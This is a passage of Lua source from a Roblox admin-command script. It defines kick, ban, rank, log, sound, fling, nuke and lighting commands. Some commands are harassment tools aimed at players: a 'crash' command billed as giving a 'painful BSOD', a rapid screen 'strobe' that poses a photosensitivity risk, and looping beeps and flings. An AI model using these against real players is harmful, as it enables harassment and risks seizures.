6100
						local Boom = Instance.new("Explosion", Workspace)
6101
						Boom.Position = Ast.Position
6102
						Boom.BlastPressure = 1000000
6103
						Boom.BlastRadius = 30
6104
						Fire.Heat = 0
6105
						Smoke.RiseVelocity = 0
6106
						Fly:Stop()
6107
						BoomSound:Play()
6108
						coroutine.wrap(function()
6109
							wait(3)
6110
							BoomSound:Stop()
6111
							if Ast and Ast.Parent ~= nil then
6112
								Ast:Destroy()
6113
							end
6114
						end)()
6115
					end
6116
				end)
6117
			end
6118
		end
6119
	end};
6120
	
6121
	[{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6122
		local Success = {}
6123
		local Players = STRING:Scan(Arguments[1], Speaker)
6124
		for _,Player in pairs(Players) do
6125
			local PlayerRank = RANK:GetRank(Player)
6126
			if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6127
				CORE:Kick(Player)
6128
				table.insert(Success, Player)
6129
			end
6130
		end
6131
		REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6132
	end};
6133
	
6134
	[{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6135
		local Success = {}
6136
		local Players = STRING:Scan(Arguments[1], Speaker)
6137
		for _,Player in pairs(Players) do
6138
			local PlayerRank = RANK:GetRank(Player)
6139
			if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6140
				RANK:RemoveRank(Player)
6141
				table.insert(Settings.Ranks.Banned, Player.Name)
6142
				CORE:Kick(Player)
6143
				table.insert(Success, Player)
6144
			end
6145
		end
6146
		REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6147
	end};
6148
	
6149
	[{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6150
		local Success = {}
6151
		local Players = STRING:Scan(Arguments[1], Speaker)
6152
		for _,Player in pairs(Players) do
6153
			local PlayerRank = RANK:GetRank(Player)
6154
			if PlayerRank ~= "Owner" then
6155
				RANK:RemoveRank(Player)
6156
				table.insert(Settings.Ranks.Crashed, Player.Name)
6157
				CORE:Crash(Player)
6158
				table.insert(Success, Player)
6159
			end
6160
		end
6161
		REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6162
	end};
6163
	
6164
	[{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6165
		local Success = {}
6166
		local Players = STRING:Scan(Arguments[1], Speaker)
6167
		for _,Player in pairs(Players) do
6168
			local PlayerRank = RANK:GetRank(Player)
6169
			if PlayerRank ~= "Owner" then
6170
				RANK:RemoveRank(Player)
6171
				table.insert(Settings.Ranks.Muted, Player.Name)
6172
				GUI:CoreGui(Player, "Chat", false)
6173
				table.insert(Success, Player)
6174
			end
6175
		end
6176
		REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6177
	end};
6178
	
6179
	[{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6180
		local Players = STRING:Scan(Arguments[1], Speaker)
6181
		if #Players > 0 then
6182
			local Success = {}
6183
			for _,Player in pairs(Players) do
6184
				local RankName,RankNum = RANK:GetRank(Player)
6185
				if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6186
					if not RANK:IsSupremeOwner(Player) then
6187
						if RankName == "Muted" then
6188
							GUI:CoreGui(Player, "Chat", true)
6189
						end
6190
						if RankNum > 0 then
6191
							GUI:TellNotAdmin(Player)
6192
						end
6193
						RANK:RemoveRank(Player)
6194
						table.insert(Success, Player)
6195
					end
6196
				end
6197
			end
6198
			REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6199
		else
6200
			local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6201
			if Player then
6202
				local RankNum = RANK:ConvertRank(PlayerRank)
6203
				if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6204
					if not RANK:IsSupremeOwner(Player) then
6205
						RANK:RemoveRank(Player)
6206
						REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6207
					end
6208
				end
6209
			end
6210
		end
6211
	end};
6212
	
6213
	[{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6214
		local Players = STRING:Scan(Arguments[1], Speaker)
6215
		if #Players > 0 then
6216
			local Success = {}
6217
			for _,Player in pairs(Players) do
6218
				local PlayerRank,RankNum = RANK:GetRank(Player)
6219
				if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6220
					RANK:RemoveRank(Player)
6221
					table.insert(Settings.Ranks.Member, Player.Name)
6222
					GUI:TellAdmin(Player)
6223
					table.insert(Success, Player)
6224
				end
6225
			end
6226
			REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6227
		else
6228
			local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6229
			if Player then
6230
				local RankNum = RANK:ConvertRank(PlayerRank)
6231
				if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6232
					if not RANK:IsSupremeOwner(Player) then
6233
						RANK:RemoveRank(Player)
6234
						table.insert(Settings.Ranks.Member, Player)
6235
					end
6236
				end
6237
			else
6238
				RANK:RemoveRank(Arguments[1])
6239
				table.insert(Settings.Ranks.Member, Arguments[1])
6240
			end
6241
		end
6242
	end};
6243
	
6244
	[{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6245
		local Players = STRING:Scan(Arguments[1], Speaker)
6246
		if #Players > 0 then
6247
			local Success = {}
6248
			for _,Player in pairs(Players) do
6249
				local PlayerRank,RankNum = RANK:GetRank(Player)
6250
				if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6251
					RANK:RemoveRank(Player)
6252
					table.insert(Settings.Ranks.Admin, Player.Name)
6253
					GUI:TellAdmin(Player)
6254
					table.insert(Success, Player)
6255
				end
6256
			end
6257
			REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6258
		else
6259
			local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6260
			if Player then
6261
				local RankNum = RANK:ConvertRank(PlayerRank)
6262
				if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6263
					if not RANK:IsSupremeOwner(Player) then
6264
						RANK:RemoveRank(Player)
6265
						table.insert(Settings.Ranks.Admin, Player)
6266
					end
6267
				end
6268
			else
6269
				RANK:RemoveRank(Arguments[1])
6270
				table.insert(Settings.Ranks.Admin, Arguments[1])
6271
			end
6272
		end
6273
	end};
6274
	
6275
	[{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6276
		local Players = STRING:Scan(Arguments[1], Speaker)
6277
		if RANK:IsSupremeOwner(Speaker) then
6278
			if #Players > 0 then
6279
				local Success = {}
6280
				for _,Player in pairs(Players) do
6281
					if not RANK:IsSupremeOwner(Player) then
6282
						RANK:RemoveRank(Player)
6283
						table.insert(Settings.Ranks.Owner, Player.Name)
6284
						GUI:TellAdmin(Player)
6285
						table.insert(Success, Player)
6286
					end
6287
				end
6288
				REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6289
			else
6290
				local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6291
				if Player then
6292
					local RankNum = RANK:ConvertRank(PlayerRank)
6293
					if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6294
						if not RANK:IsSupremeOwner(Player) then
6295
							RANK:RemoveRank(Player)
6296
							table.insert(Settings.Ranks.Owner, Player)
6297
						end
6298
					end
6299
				else
6300
					RANK:RemoveRank(Arguments[1])
6301
					table.insert(Settings.Ranks.Owner, Arguments[1])
6302
				end
6303
			end
6304
		end
6305
	end};
6306
	
6307
	[{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6308
		local TableStorage = {}
6309
		for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6310
		for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6311
		for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6312
		GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6313
	end};
6314
	
6315
	[{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6316
		local TableStorage = {}
6317
		for _,Player in pairs(Server.Players:GetChildren()) do
6318
			local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6319
			if ValidAdmin then
6320
				if PlayerRank == "Owner" then
6321
					table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6322
				else
6323
					table.insert(TableStorage, Player.Name..": "..PlayerRank)
6324
				end
6325
			end
6326
		end
6327
		GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6328
	end};
6329
	
6330
	[{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6331
		GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6332
	end};
6333
	
6334
	[{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6335
		GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6336
	end};
6337
	
6338
	[{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6339
		GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6340
	end};
6341
	
6342
	[{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6343
		local TableStorage = {}
6344
		for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6345
		for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6346
		for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6347
		GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6348
	end};
6349
	
6350
	[{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6351
		local TableStorage = {}
6352
		for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6353
			for Num,PlayerName in pairs(PlayerNames) do
6354
				if PlayerRank == "Owner" then
6355
					table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6356
				else
6357
					table.insert(TableStorage, PlayerName..": "..PlayerRank)
6358
				end
6359
			end
6360
		end
6361
		GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6362
	end};
6363
	
6364
	[{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6365
		GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6366
	end};
6367
	
6368
	[{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6369
		GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6370
	end};
6371
	
6372
	[{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6373
		GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6374
	end};
6375
	
6376
	[{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6377
		local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6378
		if type(ExploitLog) ~= "table" then ExploitLog = {} end
6379
		GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6380
	end};
6381
	
6382
	[{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6383
		CommandLogs = {}
6384
	end};
6385
	
6386
	[{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6387
		ChatLogs = {}
6388
	end};
6389
	
6390
	[{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6391
		IRC.Logs = {}
6392
	end};
6393
	
6394
	[{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6395
		CommandLogs = {}
6396
		ChatLogs = {}
6397
		IRC.Logs = {}
6398
	end};
6399
	
6400
	[{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6401
		Server.GDS:SetAsync("ExploitLog", {})
6402
	end};
6403
	
6404
	[{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6405
		local List,Correlate,SoundName = {},{},{}
6406
		for Name,Info in pairs(SoundList) do
6407
			local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6408
			table.insert(List, View)
6409
			Correlate[View] = Info[1]
6410
		end
6411
		
6412
		local CanClick = true
6413
		if Rank == "Member" then CanClick = false end
6414
		local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6415
		Clicked.Event:connect(function(ClickName)
6416
			local OldSoundId = nil
6417
			SOUND:StopGlobalSound()
6418
			if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6419
				SOUND:PlayGlobalSound(Correlate[ClickName])
6420
			end
6421
		end)
6422
	end};
6423
	
6424
	[{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6425
		SOUND:SyncSoundList(Speaker)
6426
	end};
6427
	
6428
	[{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6429
		local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6430
		if Answer == "Yes" then
6431
			Server.Workspace.Terrain:Clear()
6432
		end
6433
	end};
6434
	
6435
	[{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6436
		local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6437
		if Answer == "Yes" then
6438
			for _,Obj in pairs(Workspace:GetChildren()) do
6439
				if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6440
					Obj:Destroy()
6441
				end
6442
			end
6443
		end
6444
	end};
6445
	
6446
	[{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6447
		CORE:MakeBase()
6448
	end};
6449
	
6450
	[{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6451
		local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6452
		if CustomSounds == nil or type(CustomSounds) ~= "table" then
6453
			CustomSounds = {}
6454
		end
6455
		if tostring(Arguments[1]) then
6456
			local Request = MARKET:GetItemInfo(Arguments[1])
6457
			if Request.AssetTypeId == 3 then
6458
				table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6459
				SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6460
				Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6461
				GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6462
			else
6463
				GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6464
			end
6465
		end
6466
	end};
6467
	
6468
	[{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6469
		local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6470
		if CustomSounds == nil or type(CustomSounds) ~= "table" then
6471
			CustomSounds = {}
6472
		end
6473
		
6474
		local Removed = {}
6475
		for Num,Data in pairs(CustomSounds) do
6476
			if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6477
				table.insert(Removed, Data[1])
6478
				table.remove(CustomSounds, Num)
6479
			end
6480
		end
6481
6482
		Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6483
		
6484
		SOUND:SyncSoundList()
6485
		
6486
		if #Removed > 0 then
6487
			GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6488
		else
6489
			GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6490
		end
6491
	end};
6492
	
6493
	[{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6494
		local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6495
		if Answer == "Yes" then
6496
			Server.GDS:SetAsync("MML Custom Sounds", {})
6497
			SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6498
			GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6499
		end
6500
	end};
6501
	
6502
	[{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6503
		local Players = STRING:Scan(Arguments[1], Speaker)
6504
		local SpeakerTesting = false
6505
		for _,Player in pairs(Players) do
6506
			if Player == Speaker then SpeakerTesting = true end
6507
			if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6508
				CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6509
				--wait(10)
6510
				--GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6511
			end)() end
6512
		end
6513
		if SpeakerTesting == false then
6514
			GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6515
		end
6516
	end};
6517
	
6518
	[{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6519
		local Players = STRING:Scan(Arguments[1], Speaker)
6520
		local Compile = {}
6521
		for _,Player in pairs(Players) do
6522
			local PlayerInfo = ClientInfo[Player.Name]
6523
			if PlayerInfo then
6524
				if PlayerInfo.Benchmark then
6525
					table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6526
				else
6527
					table.insert(Compile, Player.Name..": No score")
6528
				end
6529
			end
6530
		end
6531
		GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6532
	end};
6533
	
6534
	[{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6535
		local Players = STRING:Scan(Arguments[1], Speaker)
6536
		for _,Player in pairs(Players) do
6537
			CORE:Chatted(Arguments[2], Player, true)
6538
		end
6539
	end};
6540
	
6541
	[{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6542
		CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6543
	end};
6544
	
6545
	[{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6546
		local Players = STRING:Scan(Arguments[1], Speaker)
6547
		for _,Player in pairs(Players) do
6548
			if Player.Character ~= nil then
6549
				if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6550
					if Player.Character.Torso:FindFirstChild("Neck") then
6551
						Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6552
						local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6553
						Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6554
						local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6555
						local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6556
					end
6557
 				end
6558
			end
6559
		end
6560
	end};
6561
	
6562
	[{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6563
		local Players = STRING:Scan(Arguments[1], Speaker)
6564
		for _,Player in pairs(Players) do
6565
			if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6566
				Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6567
				local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6568
			end
6569
		end
6570
	end};
6571
	
6572
	[{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6573
		local Players = STRING:Scan(Arguments[1], Speaker)
6574
		for _,Player in pairs(Players) do
6575
			local _,RankNum = RANK:GetRank(Player)
6576
			if RankNum <= RANK:ConvertRank(Rank) then
6577
				CORE:FlingPlayer(Player)
6578
			end
6579
		end
6580
	end};
6581
	
6582
	[{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6583
		local Players = STRING:Scan(Arguments[1], Speaker)
6584
		for _,Player in pairs(Players) do
6585
			local _,RankNum = RANK:GetRank(Player)
6586
			if RankNum <= RANK:ConvertRank(Rank) then
6587
				Flings[Player.Name] = true
6588
				CORE:FlingPlayer(Player)
6589
			end
6590
		end
6591
	end};
6592
	
6593
	[{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6594
		local Players = STRING:Scan(Arguments[1], Speaker)
6595
		for _,Player in pairs(Players) do
6596
			local _,RankNum = RANK:GetRank(Player)
6597
			if RankNum <= RANK:ConvertRank(Rank) then
6598
				Flings[Player.Name] = nil
6599
			end
6600
		end
6601
	end};
6602
	
6603
	[{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6604
		local Players = STRING:Scan(Arguments[1], Speaker)
6605
		for _,Player in pairs(Players) do
6606
			CORE:Nuke(Player)
6607
		end
6608
	end};
6609
	
6610
	[{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6611
		local Players = STRING:Scan(Arguments[1], Speaker)
6612
		for _,Player in pairs(Players) do
6613
			Beeps[Player.Name] = true
6614
			SOUND:BeepPlayer(Player)
6615
		end
6616
	end};
6617
	
6618
	[{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6619
		local Players = STRING:Scan(Arguments[1], Speaker)
6620
		for _,Player in pairs(Players) do
6621
			if Player.PlayerGui then
6622
				Beeps[Player.Name] = nil
6623
				for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6624
					if Obj.Name == "Annoy" then
6625
						Obj:Stop()
6626
						Obj:Destroy()
6627
					end
6628
				end
6629
			end
6630
		end
6631
	end};
6632
	
6633
	[{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6634
		local Time = Arguments[1]
6635
		if Time == "day" or Time == "noon" then Time = "12" end
6636
		if Time == "night" or Time == "midnight" then Time = "0" end
6637
		if Time == "dawn" or Time == "morning" then Time = "6:15" end
6638
		if Time == "dusk" or Time == "evening" then Time = "17:45" end
6639
		if Time == "afternoon" then Time = "15:30" end
6640
		ypcall(function() Server.Lighting.TimeOfDay = Time end)
6641
	end};
6642
	
6643
	[{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6644
		local Players = STRING:Scan(Arguments[1], Speaker)
6645
		for _,Player in pairs(Players) do
6646
			MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6647
		end
6648
	end};
6649
	
6650
	[{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6651
		local AbuseMode = false
6652
		if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6653
		local Players = STRING:Scan(Arguments[1], Speaker)
6654
		for _,Player in pairs(Players) do
6655
			CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6656
		end
6657
	end};
6658
	
6659
	[{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6660
		local Players = STRING:Scan(Arguments[1], Speaker)
6661
		for _,Player in pairs(Players) do
6662
			CORE:Insert(125013769, Player.Backpack, true)
6663
		end
6664
	end};
6665
	
6666
	[{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6667
		local Players = STRING:Scan(Arguments[1], Speaker)
6668
		for _,Player in pairs(Players) do
6669
			if Player.Character then
6670
				CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6671
			end
6672
		end
6673
	end};
6674
	
6675
	[{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6676
		CORE:ResetLighting()
6677
		repeat
6678
			Server.Lighting.Ambient = Color3.new(1,1,1)
6679
			Server.Lighting.FogColor = Color3.new(1,1,1)
6680
			Server.Lighting.Brightness = 1
6681
			Server.Lighting.TimeOfDay = 14
6682
			wait(0.1) 
6683
			Server.Lighting.Ambient = Color3.new(0,0,0)
6684
			Server.Lighting.FogColor = Color3.new(0,0,0)
6685
			Server.Lighting.Brightness = 0
6686
			Server.Lighting.TimeOfDay = 0
6687
			wait(0.1)
6688
		until ModLighting == false
6689
	end};
6690
	
6691
	[{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6692
		CORE:ResetLighting()
6693
		repeat
6694
			local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6695
			Server.Lighting.Ambient = Color
6696
			Server.Lighting.FogColor = Color
6697
			Server.Lighting.TimeOfDay = 0
6698
			Server.Lighting.FogEnd = 500
6699
			wait(0.1) 
6700
		until ModLighting == false
6701
	end};
6702
	
6703
	[{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6704
		CORE:FixLighting()
6705
	end};
6706
	
6707
	[{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6708
		local Players = STRING:Scan(Arguments[1], Speaker)
6709
		for _,Player in pairs(Players) do
6710
			if Player:FindFirstChild("PlayerGui") then
6711
				local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6712
				SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6713
				local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6714
				coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6715
			end
6716
		end
6717
	end};
6718
	
6719
